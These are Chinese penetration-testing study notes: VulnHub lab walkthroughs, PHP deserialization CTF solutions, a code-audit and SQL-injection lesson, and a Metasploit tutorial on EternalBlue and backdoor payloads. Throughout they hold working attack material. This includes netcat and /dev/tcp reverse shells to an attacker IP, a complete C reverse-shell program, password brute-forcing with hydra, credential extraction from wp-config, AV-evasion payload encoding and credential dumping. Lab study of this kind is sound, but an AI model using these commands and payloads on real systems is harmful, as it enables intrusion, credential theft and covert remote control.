image-20220523202840652

发现自启动文件/usr/share/simulate.sh,查看此脚本

meterpreter > cat simulate.sh
#
# This script simulates human behaviour from the root account
#

while true
do
    cd /home/jerome;
    ls;
    sleep 120;
done
#下载此脚本
download simulate.sh
4、提权

分析自启动文件里的simulate脚本,发现会在加目录以root的权限执行ls,所以我们在家目录创建ls脚本,编写ls脚本,因为在当前目录下,执行ls的时候,会优先执行当前文件夹下的命令

在家目录中追加ls,写入nc调用命令

shell -t		#开启交互式
echo "nc -e /bin/bash 192.168.184.128 8888" >> ls		#用nc调用命令链接kali,写入到ls文件,反弹shell
chmod 777 ls

image-20220523204321766

chmod 777 ls

image-20220523204528358

变为所有人可执行

5、kali监听8888
rlwrap nc -lvvp 8888 

等待120s以后,脚本执行成功

python3 -c 'import pty; pty.spawn("/bin/bash")'		#开启交互式

image-20220523205300244

反序列化漏洞与原理

一、概念

​ 利用了反序列化技术,注入了某些数据,从而触发了程序中的其他漏洞,触发了SQL注入、命令执行等

​ 把字节序列恢复为对象的过程称为对象的反序列化。当两个进程在进行远程通信时,彼此可以发送各种类型的数据,而且无论是何种类型的数据,都会以二进制序列的形式在网络上传送。

二、序列化与反序列化函数讲解

1、PHP-序列化函数 serialize()

image-20220524111312715

2、PHP-反序列化函数 unserialize()

image-20220524111442871

三、分类

1、字符串

image-20220524105645808

2、数字

存储数字的二进制长度是固定的,所以不需要长度

image-20220524110823432

3、大型数字

会转换为科学计数法,但是会损失一定的精度

image-20220524110914989

4、有类
  • 有类的情况下,不光可以返回对应的值,还会触发这个类,并且通过模式方法执行
  • 可以通过反序列化调用不用的类触发不同的功能

image-20220524112117652

有类的序列化
O:1:"S":1:{s:4:"test";s:7:"pikachu";}

O 是一个类
1  代表类名的长度
S 类名
1  参数数量
{} 具体的参数序列化值

四、魔术方法

__construct()//创建对象时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__invoke() //当脚本尝试将对象调用为函数时触发

五、实验

O:1:"S":1:{s:4:"test";s:30:"<script>alert('Yang')</script>";}

image-20220524153149404

可以通过不同的序列化的值调用不同的函数

六、CTF1

1、题目
 <?php
error_reporting(0);
include "flag.php";
$KEY = "hahaha";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo $flag;
}
show_source(__FILE__);

?> 
2、将hahaha序列化
s:6:"hahaha";
3、将序列化后的值注入

image-20220524155541476

七、CTF2

1、题目

image-20220524155701199

2、抓取数据包,查找参数

image-20220524155938319

image-20220524160048727

3、访问hint
 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")		#此时的KEY是空值
{   
    echo $flag;
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?> 
4、赋予空值
s:0:"";

image-20220524160641836

image-20220524160631927

八、CTF3

1、题目
 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed1!");
        } else {
            $this->output("Failed2!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename,FILE_USE_INCLUDE_PATH);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

} 
2、序列化
<?php

class FileHandler {

    public $op = '4';
    public $filename = 'glag.php';
    public $content = 'YikJiang'; 
}
$aaa = new FileHandler;
echo serialize($aaa);
?>
O:11:"FileHandler":3:{s:2:"op";s:1:"4";s:8:"filename";s:8:"glag.php";s:7:"content";s:8:"YikJiang";}

image-20220524161830100

3、分析代码
function __destruct() {
    if($this->op === "2")		#等于2的话修改为1,所以无法进入process,所以利用===和==的区别,修改为  2,这样可以跳过===,而==可以正确匹配
    $this->op = "1";
    $this->content = "";		#无论写什么都会变为空,所以不可以进行写操作
    $this->process();
} 

===等于号表示严格匹配,而process()方法里的只有两个=,代表正常匹配,我们可以将 空格2 序列化,这样的话此代码结果为Flash,就可以跳过

<?php

class FileHandler {

    public $op = ' 2';
    public $filename = 'flag.php';
    public $content = ''; 
}
$aaa = new FileHandler;
echo serialize($aaa);
?>
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

image-20220524163734415

PHP版本7.2.10,此时相当于拿取到了Flag

初级代码审计

一、基础概念

1、什么是代码审计

​ 代码审计,是对应用程序源代码进行系统性检查的工作。

2、为什么做代码审计
  • 提前发现问题,如逻辑错误、系统漏洞、恶意后门程序。
  • 代码的优化。
  • 在正式上线之前,解决漏洞和逻辑错误,避免损失。
3、漏洞形成的条件
  • 参数(变量),可以控制的变量
  • 函数(方法),有利用价值的函数

二、思路

  • 根据敏感关键字, 回溯参数传递过程
  • 查找可控变量,正向追踪变量传递过程
  • 寻找敏感功能点, 自建函数审查,通用风险函数审查,通读功能点代码
  • 借助工具,自动化通读全文代码,并挖掘风险代码

三、常见的输出函数

1、echo()

输出一个字符串或变量,但是不能输出数组。

2、print_r()

输出一个数组

3、var_dump()

输出一个变量的结构,这个变量包含普通变量、数组、对象等

<?php
$cars=array("Lebron","James","King");
var_dump ($cars);
?>
array(3) {
 [0]=>
 string(6) "Lebron"
 [1]=>
 string(5) "James"
 [2]=>
 string(4) "King"
}

四、获取当前进程所有变量/函数/常量/类

1、get_defined_vars(void)

此函数返回一个包含当前可用的变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。在函数中使用此函数可以调试函数中的变量,而不会返回其他的变量。

2、$GLOBALS变量

此函数返回所有全局变量

3、get_defined_functions(void)

获取所有已经定义的函数,包含内部函数和用户定义的函数。

4、输出用户定义的函数方法
$hhh=get_defined_funtions();
var_dump($hhh['user']);
5、get_defined_constants(void)

返回所有可用的常量,包含系统常量和用户定义的常量。

6、get_declared_classes(void)

返回所有可用的类,包含系统类和用户定义的类。

7、get_included_files()

返回包含的文件路径的数组,included 和 required 的包含文件

8、php 断点调试方法

exitdie 输出一个消息并退出程序执行。

五、可能出现漏洞的函数

1、文件包含 —> 包含漏洞
include、include_once、require、require_onceinclude/require
2、代码执行 —>执行任意代码漏洞
3、命令执行 —> 执行任意命令漏洞
4、文件系统操作 —>文件(目录)读写等漏洞
5、数据库操作 —> SQL注射漏洞
6、数据显示 —> XSS等客户端漏洞

六、环境变量

$GLOBALS 全局调用
$_SERVER   访问信息获取
$_REQUEST 全部接受
$_POST 接受POST
$_GET   接受GET
$_FILES  文件上传
$_ENV  系统环境变量
$_COOKIE  处理COOKIE
$_SESSION 处理SESSION
1、$GLOBALS
<?php

//$GLOBALS说明全局变量
//由于 z 是 $GLOBALS 数组中的变量,因此在函数之外也可以访问它。
$x = 75;
$y = 25;
function test() {
	$GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];
}
test();
echo $z."<hr>";
?>
----------------------------------------
100
2、$_REQUEST
<?php
//REQUEST说明 全接收
$g=@$_GET['g'];
$p=@$_POST['p'];
$c=@$_COOKIE['c'];
$r=@$_REQUEST['r'];

echo $g."<br>";
echo $p."<br>";
echo $c."<br>";
echo $r."<hr>";
?>

image-20220525152627142

  • GET赋值

image-20220525152659502

  • POST赋值

下载插件HackBar

image-20220525152938441

  • Cookie赋值

image-20220525153336600

  • REQUEST

即支持GET也支持POST

image-20220525153504947

3、$_FILES
//$_FILES文件上传
echo "客户端文件名:".$_FILES['upfile']['name']."<br/>";
echo "文件类型:".$_FILES['upfile']['type']."<br/>";
echo "字节大小:".$_FILES['upfile']['size']."<hr/>";

image-20220525153916150

4、$_SERVER
//$_SERVER访问信息获取
echo $_SERVER['PHP_SELF'];
echo "<br>";
echo $_SERVER['SERVER_NAME'];
echo "<br>";
echo $_SERVER['HTTP_HOST'];
echo "<br>";
echo $_SERVER['HTTP_REFERER'];
echo "<br>";
echo $_SERVER['HTTP_USER_AGENT'];
echo "<br>";
echo $_SERVER['SCRIPT_NAME'];

echo "<hr>";
exit();

image-20220525154509801

5、$_COOKIE
//$_COOKIE获取cookie
var_dump($_COOKIE);
echo '<br>';
exit();

image-20220525154657791

6、$_SESSION
<?php

//$_SESSION获取session
$_SESSION['name']="admin";
$_SESSION['password']=123456;
echo "file:".$_SERVER["PHP_SELF"]."<br/>";
echo "name:".$_SESSION['name']."<br/>";
echo "pass:".$_SESSION['password']."<hr/>";
?>

image-20220525154753055

七、实验

1、添加数据库

PHP版本需要切换到5.4.45

image-20220525171848616

2、添加数据

image-20220525171929033

3、导入项目

image-20220525172554821

4、自动审计

image-20220525172804688

5、漏洞分析
function getIP()
{
    static $realip;
    if (isset($_SERVER)){
        if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
            $realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else if (isset($_SERVER["HTTP_CLIENT_IP"])) {
            $realip = $_SERVER["HTTP_CLIENT_IP"];
        } else {
            $realip = $_SERVER["REMOTE_ADDR"];
        }
    } else {
        if (getenv("HTTP_X_FORWARDED_FOR")){
            $realip = getenv("HTTP_X_FORWARDED_FOR");
        } else if (getenv("HTTP_CLIENT_IP")) {
            $realip = getenv("HTTP_CLIENT_IP");
        } else {
            $realip = getenv("REMOTE_ADDR");
        }
    }
    return $realip;
}
?>

image-20220525173358862

  • 查询函数
    • 可以查看内置函数的功能和作业
  • 定位函数
    • 自定义函数,定位到函数的位置自己分析
function ywdd($ip){
$SQL="SELECT * FROM  `dd` WHERE  `ip` LIKE  '".$ip."'LIMIT 0 , 30";
$FH=mysql_query($SQL);
while($sj=mysql_fetch_array($FH)){
    
 echo(" <tr>
        <td>".$sj['u']."</td>
        <td class=\"hidden-xs\">".$sj['m']."</td>
        <td>|".$sj['d']."</td>
  
      </tr>");   
}

由于IP没有进行过滤会直接写入,所以我们可以伪造IP,进行SQL注入尝试

6、伪造IP
  • 默认IP

image-20220525173725382

  • 伪造IP
增加X-Forwarded-For: 8.8.8.8

image-20220525174108752

7、sqlmap
①、抓取数据包

image-20220525174335753

②、创建文档
X-Forwarded-For: 8.8.8.8*
③、sqlmap扫描
sqlmap -r 1.txt

数据库扫描

sqlmap -r 1.txt --dbs
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] pikachu
[*] pkxss
[*] yang

👑Red-1

一、靶机信息

# 靶机地址
http://www.vulnhub.com/entry/red-1,753/

#
https://www.cnblogs.com/sainet/p/15646227.html
https://blog.csdn.net/weixin_45377713/article/details/122029268

二、解决兼容性问题

1、弹出兼容性提示,直接重试即可
2、进入到回复模式下,修改配置文件
参考:https://blog.csdn.net/weixin_37909391/article/details/80691601

image-20220525195806141

ctrl+x:保存并启动

3、进入系统后查看网卡名称
ip add     ens33
4、修改 /etc/netplan/00-installer-config.yaml 文件内容
  • 将网卡enp0s3 名称修改为 ens33 (这个靶机需要用cat打开文件进行编辑)

image-20220525200046797

5、修改好以后重启客户端,此时IP正常获取

三、端口扫描

22/tcp open  ssh     syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.41 ((Ubuntu))
http-generator: WordPress 5.8.1
四、域名绑定

​ 通过查看80端口的网页源代码,发现域名 redrocks.win

1、域名绑定
192.168.184.143	redrocks.win
2、再次访问

image-20220525201516310

3、查看robots.txt
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

Sitemap: http://redrocks.win/wp-sitemap.xml

四、Wpscan

1、指令
wpscan --url http://redrocks.win -e u --api-token
2、输出
WordPress version 5.8.1		#版本信息
administrator		#用户名

五、漏洞检测

1、searchs
searchsploit wordpress 5.8.1 

image-20220525204415067

2、gobuster

探测文件,寻找后门

gobuster dir -u http://192.168.184.143/ -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt  -t 20 
/NetworkFileManagerPHP.php

image-20220525205340663

访问时页面为空,符合后门特征

3、wfuzz

查找后门变量

wfuzz -c -u 'http://redrocks.win//NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hc 0 -t 20

image-20220525214151251

六、爆破目录

由于拿到密码,为key,所以尝试读取目录

image-20220525214952493

成功读取,开始爆破目录

image-20220525215112774

目录信息

image-20220525215202155

七、后门利用

可以看到,除了root以外还存在四个账户,直接读取wp-config.php不成功,所以需要使用php协议读取php://filter/convert.base64-encode/resource=wp-config.php

1、读取文件源码

image-20220525215630997

2、解码

​ 解码后发现了用户名和密码的信息

define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'john' );
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );
define( 'DB_HOST', 'localhost' );
3、尝试登录ssh

登录失败

image-20220525221812015

4、读取其他文件

通过读取/NetworkFileManagerPHP.php,发现

   $file = $_GET['key'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("NetworkFileManagerPHP.php");
   }
   /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>
VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw==
That password alone won't help you! Hashcat says rules are rules
5、hash碰撞

hashcat的规则有很多,不过鉴于信息是由base64提供的,选择bset64规则进行hash碰撞hashcat --force pass -r /usr/share/hashcat/rules/best64.rule --stdout > pswd

求得突变密码的列表

hashcat --force R3v_m4lwh3r3_k1nG!! -r /usr/share/hashcat/rules/best64.rule --stdout > pswd

由于显卡原因,使用Winodws版hashcat

hashcat.exe --force passwd.txt -r rules/best64.rule --stdout > 123.txt 

image-20220525233243124

将密码本拷贝到kali当中

6、hydra
hydra -l john -P /tmp/123.txt -f 192.168.184.143 ssh 

image-20220525233550205

r3v_m4lwh3r3_k1nG!!

ssh密码每隔一段时间就会从密码列表里提取密码修改

7、再次登录ssh
ssh john@192.168.184.143

image-20220525233827638

成功登录

image-20220525233929657

但是会存在干扰

查看时发现 cat 命令成了 vim,vim 命令成了 cat

八、会话维持

1、查看自己的权限
sudo -l
(ippsec) NOPASSWD: /usr/bin/time
# 执行time的时候以ippsec的权限执行
bash -c 'exec bash -i &>/dev/tcp/192.168.184.128/8888 <&1'		#反弹shell

执行sudo -u ippsec /usr/bin/time /bin/bash切换到ippsec用户

image-20220526000125516

image-20220526001254255

2、交互式
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20220526000208595

九、权限提升

​ 网站目录下的wordpress目录内有个.git目录,里面有两个文件,rev和supersecretfileuc.c,rev是supersecretfileuc.c编译的程序,执行会输出信息,就是red时不时弹出的骚扰信息,将rev删除后过段时间会重新编译,并且是root权限。

image-20220525235741600

image-20220526000332599

删掉这两个文件,用revshells.com网站生成C的反弹shell程序,通过http服务将其传到目标机器写入supersecretfileuc.c

下载并运行 pspy64s 检查,看看系统在跑哪些进程。下载pspy64s,赋权并运行:

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

image-20220526001858675

chmod +x pspy64s
./pspy64s

image-20220526002602667

image-20220526002623195

这应该是他对系统的后门,查看一下这个 supersecretfileuc.c 文件:

image-20220526002639052

发现是定时弹出的脚本,可以上传一个 C 编写 shell,替代 supersecretfileuc.c 文件,然后等待 shell 连接:

先删除 /var/www/wordpress/.git/supersecretfileuc.c 和 rev 文件

写入 C 编写的 shell 替换掉原来的 supersecretfileuc.c,kali 上开启 http 服务上传

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 9999;		// 端口
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("192.168.184.128");		//kali IP

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execve("/bin/bash", argv, NULL);

    return 0;       
}

kali开启监听

rlwrap nc -lvvp 9999
python3 -m http.server 80

靶机下载新的文件

wget http://192.168.184.128/supersecretfileuc.c

Metasploit框架(MSF)

一、简介

​ Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。

二、模块介绍

  • Auxiliary辅助
    • 信息收集
  • Encoders:编码器
  • NOP:空指令
  • Exploits漏洞利用
    • 进行攻击,拿到权限
  • Payloads有效载荷
    • 可以制作后门
  • Post后渗透
    • 内网信息探测

三、使用方法

1、基础使用
msfconsole										    #进入框架
search  ms17_010                                    # 使用search命令查找相关漏洞
	search name:mysql / pathiscasearch usermap_script/ type:aux / author:aaron #可多条件搜索

use exploit/windows/smb/ms17_010_eternalblue        # 使用use进入模块
show info     										    #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp    	#设置攻击载荷
show options    									#查看模块需要配置的参数
set  RHOST  192.168.100.158    					    #设置参数
exploit / run     								    #攻击
后渗透阶段											#后渗透阶段

apt-get install metasploit-framework			#升级框架
2、Auxiliary(辅助模块)
  • 信息搜集
  • 端口探测
  • 服务识别
  • 已知漏洞探测
auxiliary/scanner/discovery/arp_sweep 本地网路探测:
1.配置IP地址端 set rhost 192.168.52.0/24
2.启动扫描 run
auxiliary/scanner/portscan/tcp 端口扫描
1.配置IP set rhost 192.168.52.145
2.配置端口 set rport 1-65535
3.启动扫描 run
auxiliary/scanner/smb/smb_ms17_010 永恒之蓝漏洞测试
1.配置IP set rhost 192.168.52.145
2.启动扫描 run
3、Exploits(漏洞利用模块)
  • 利用漏洞获取目标远程控制权限,或者进行DDOS攻击,获取数据等
windows/smb/ms17_010_eternalblue 永恒之蓝漏洞利用
1.配置IP set rhosts 192.168.52.145
2.启动攻击 run
exploit/windows/smb/psexec  通过smb获取系统权限
1.配置IP set rhost 192.168.52.145
2.配置账号 set smbuser administrator
3.配置密码 set smbpass 123@qwe
4.启动攻击 run
4、Post(后渗透模块)
  • 后期信息搜集
  • 持续维持
  • 文件读写
  • 设备控制
5、Payloads(后门生成模块)
  • 生成各种系统各种类型的远程控制后门程序,可以进行传输过程的加密配置
生成payload:
1.use payload/windows/x64/shell/reverse_tcp 进入tcp反弹模块
2.set lhost 192.168.52.142 设置反弹IP
3.set lport 9999 设置监听端口
4.generate -f exe -o /tmp/1.exe 生成payload
开启监听:
1. use exploit/multi/handler 建立监听
2.set lhost 192.168.52.142 配置监听IP
3.set lport 9999 配置监听端口
4.set payload windows/x64/shell/reverse_tcp 配置payload类型
5.run 启动监听
6、evasion(免杀模块)
  • 提供payload免杀功能
生成免杀payload:
1.use evasion/windows/windows_defender_js_hta 进入免杀生成模块
7、Encoders(编码模块)
  • payload辅助功能
8、Nop(空指令模块)
  • payload辅助功能
9、扩展

ctrl+zctrl+c的区别

  1. Ctrl+C中断了进程,返回到终端界面。

  2. Ctrl+Z暂停了进程,返回到终端界面。

    jobs查看暂停的进程
    fg %name  恢复指定进程
    

四、永恒之蓝

1、探测IP地址
  • 通过ARP的方式探测
Module options (auxiliary/scanner/discovery/arp_sweep):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   RHOSTS     192.168.72.0/24  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   SHOST                       no        Source IP Address
   SMAC                        no        Source MAC Address
   THREADS    10               yes       The number of concurrent threads (max one per host)
   TIMEOUT    5                yes       The number of seconds to wait for new data

image-20220530190251329

2、端口扫描

image-20220530190356106

Module options (auxiliary/scanner/portscan/syn):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to scan per set
   DELAY      0                yes       The delay between connections, per thread, in milliseconds
   INTERFACE                   no        The name of the interface
   JITTER     0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS      400-500          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS     192.168.72.130   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   SNAPLEN    65535            yes       The number of bytes to capture
   THREADS    20               yes       The number of concurrent threads (max one per host)
   TIMEOUT    500              yes       The reply read timeout in milliseconds

image-20220530190814895

3、漏洞扫描

image-20220530190937331

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                            Required  Description
   ----         ---------------                            --------  -----------
   CHECK_ARCH   true                                       no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                       no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                      no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/data/word  yes       List of named pipes to check
                lists/named_pipes.txt
   RHOSTS       192.168.72.130                             yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wik
                                                                     i/Using-Metasploit
   RPORT        445                                        yes       The SMB service port (TCP)
   SMBDomain    .                                          no        The Windows domain to use for authentication
   SMBPass                                                 no        The password for the specified username
   SMBUser                                                 no        The username to authenticate as
   THREADS      10                                         yes       The number of concurrent threads (max one per host)

image-20220530191201055

探测是否存在漏洞

image-20220530191455272

Kali监听4444端口接受反弹Shell

4、拿取权限

image-20220530191751101

image-20220530191821652

上传文件

image-20220530192014778

image-20220530192038773

上传成功

5、其他命令
? 		#查看当前的命令
sysinfo		#查看当前系统信息

ls   #查看内容
lcd			#查看本地内容

pwd 		#查看当前目录
lpwd			#查看本地当前目录
6、扩充组件
load -l		#查看插件列表
load kiwi		#下载插件kiwi
  • 获取所有登录凭证
creds-all	

image-20220530211218576

成功获取账号密码

五、PsExec

​ 实用工具(如 Telnet)和远程控制程序(如 Symantec 的 PC Anywhere)使您可以在远程系统上执行程序,但安装它们非常困难,并且需要您在想要访问的远程系统上安装客户端软件。PsExec 是一个轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。

可以利用445端口进行命令执行

msf6 exploit(windows/smb/psexec) > show options 

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                192.168.72.130   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploi
                                                    t
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass               panshi123qwE     no        The password for the specified username
   SMBSHARE                               no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folde
                                                    r share
   SMBUser               administrator    no        The username to authenticate as
  • 获取到权限

image-20220530212122494

image-20220530212331454

六、永恒之蓝补丁

1、下载地址
https://www.catalog.update.microsoft.com/search.aspx?q=kb4012212

image-20220530213421239

安装成功后重启计算机

2、继续尝试永恒之蓝攻击

image-20220530213725059

发现攻击失败

3、尝试利用psexec攻击

image-20220530214022104

发现成功登录

七、Payloads(后门生成模块)

1、介绍

image-20220530214526437

  • bind:在目标设备上开启一个端口,控制端(kali)需要链接到目标设备进行后续操作
    • 直连模式可以不写rhost
    • 容易被管理员发现
  • reverse:在控制端(kali)开启一个监听端口,目标执行payload后,会主动连接控制端(kali)的监听端口进行通讯。
    • 容易暴露攻击主机

生成各种系统,可以进行远程控制的二进制程序。配合exp模块对目标进行攻击,并获取权限。也可以单独生成payload,进行被动攻击。

主动攻击与被动攻击:

  • 主动攻击:一般是利用漏洞实现(参考永恒之之蓝漏洞实验)
  • 被动攻击:一般采用钓鱼手段实验(诱导目标执行木马程序)
2、bind生成代码

generate

image-20220530215056221

image-20220530215109986

十六进制表示

3、选项
-b	#去除坏字节
generate -b "\x00\xff"		#防止被cpu误认为终端命令(没用删除,只是通过编码方式改变值)
generate -b "\x00\xff\x60"		#也可隐藏其他字符进行免杀

-f		# 根据代码生成指定的文件
-o		# 输入文件
-i		#可以进行多次编码,进行免杀
generate -b "\x00\xff\x60" -f jsp -o /tmp/1.jsp		

image-20220530220614835

生成成功

4、生成exe文件
generate -b "\x00\xff\x60" -f exe -o /tmp/1.exe		

image-20220530222047990

5、植入Bule
  • 生成exe和vbs文件

  • kali开启选项里设置的监听端口

image-20220531090231358

  • 查看Blue目前端口

image-20220531090321801

未开启4444端口

  • 执行Vbs
netstat -an | more

image-20220531090406184

成功开启4444端口

  • 连接后门
use exploit/multi/handler

set payload windows/x64/shell/bind_tcp		# 发送端和接收端要对应
run

image-20220531090851495

6、拿到权限

image-20220531091801255

缺点

  • 不可以切换
  • 仅支持主机自己所安装的命令
①、reverse原理

​ 让目标主机访问自己的主机,可以更具隐蔽性,k可以防止防火墙

②、生成代码
windows/x64/powershell_reverse_tcp

image-20220531092322484

generate -b "/x00/xff" -f exe -o /tmp/123.exe
③、Kali开启监听
use exploit/multi/handler
set payload windows/x64/powershell_reverse_tcp
run

image-20220531093237452

④、Blue执行

image-20220531092833429

⑤、获取权限

image-20220531093331232

👑UnInvited

一、靶机信息

#靶机地址
http://www.vulnhub.com/entry/uninvited-1,523/

#参考
https://h4ckron.medium.com/hack-vulnhub-uninvited-e1b2bddce453
https://noxious.tech/posts/Uninvited/

二、端口扫描

Discovered open port 80/tcp on 192.168.72.131
Discovered open port 60000/tcp on 192.168.72.131
Discovered open port 7894/tcp on 192.168.72.131

image-20220531150931783

三、端口探测

1、访问robots.txt
http://192.168.72.131:60000/robots.txt

image-20220531151343855

2、访问扫描端口

​ 访问80端口和60000端口,但是60000端口无法正常加载,我们尝试读取源码,发现包含fieldforce,将其放入hosts尝试再次访问60000端口;并在80端口的源码中发现以下Base64数据

80端口

image-20220531153351886

WWVhaCEgSSBrbm93IGl0IGhhcHBlbnMuLi4gSSBndWVzcyB1IG1pZ2h0IHdhbnQgdG8gYWRkIHRoaXMgW2ZpZWxkZm9yY2VdIHRvIHlvdXIgaG9zdHM=

#解码后为
Yeah! I know it happens... I guess u might want to add this [fieldforce] to your hosts
  提示我们将fieldforce添加到hosts中

60000端口

image-20220531151541517

192.168.72.131 fieldforce

​ 再次访问发现成功访问,同理在Kali中指定DNS解析

image-20220531151912859

image-20220531152057719

3、利用wpscan进行扫描
wpscan --url http://fieldforce:60000/ -e u --api-token

WordPress version 5.4.10		#获取到了版本信息

image-20220531153128415

发现了两个账户名

4、利用gobuster进行探测
gobuster dir -u http://fieldforce:60000/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 200 -q		#-q 表示快速查询
/rss2                 (Status: 200) [Size: 30003] 
/rss                  (Status: 200) [Size: 1083] 
/rdf                  (Status: 200) [Size: 29822]                                                  
/page1                (Status: 200) [Size: 20009]
/wp-admin             (Status: 301) [Size: 320] [--> http://fieldforce:60000/wp-admin/]
/backdoor             (Status: 302) [Size: 0] [--> http://fieldforce:60000/backdoor/]

​ 我们访问/backdoor页面

image-20220531154420218

5、利用Cewl利用爬虫来生成字典
 cewl http://fieldforce:60000/ --with-numbers -d 2 -m 4 -w wordlist.txt

-d:表示深度
-m:最小的长度

image-20220531155124286

image-20220531155212102

6、利用wpscan进行密码爆破
wpscan --url http://fieldforce:60000/ -P /tmp/wordlist.txt

Username: elliot, Password: wh1ter0se
Username: Elliot, Password: wh1ter0se

image-20220531155708596

image-20220531160005172

成功登录

7、制作文件上传
https://pentestmonkey.net/tools/web-shells/php-reverse-shell

image-20220531161418705

image-20220531161639518

image-20220531161848962

8、kali开启监听
rlwrap nc -lvvp 9999

image-20220531161930031

9、访问不存在的界面

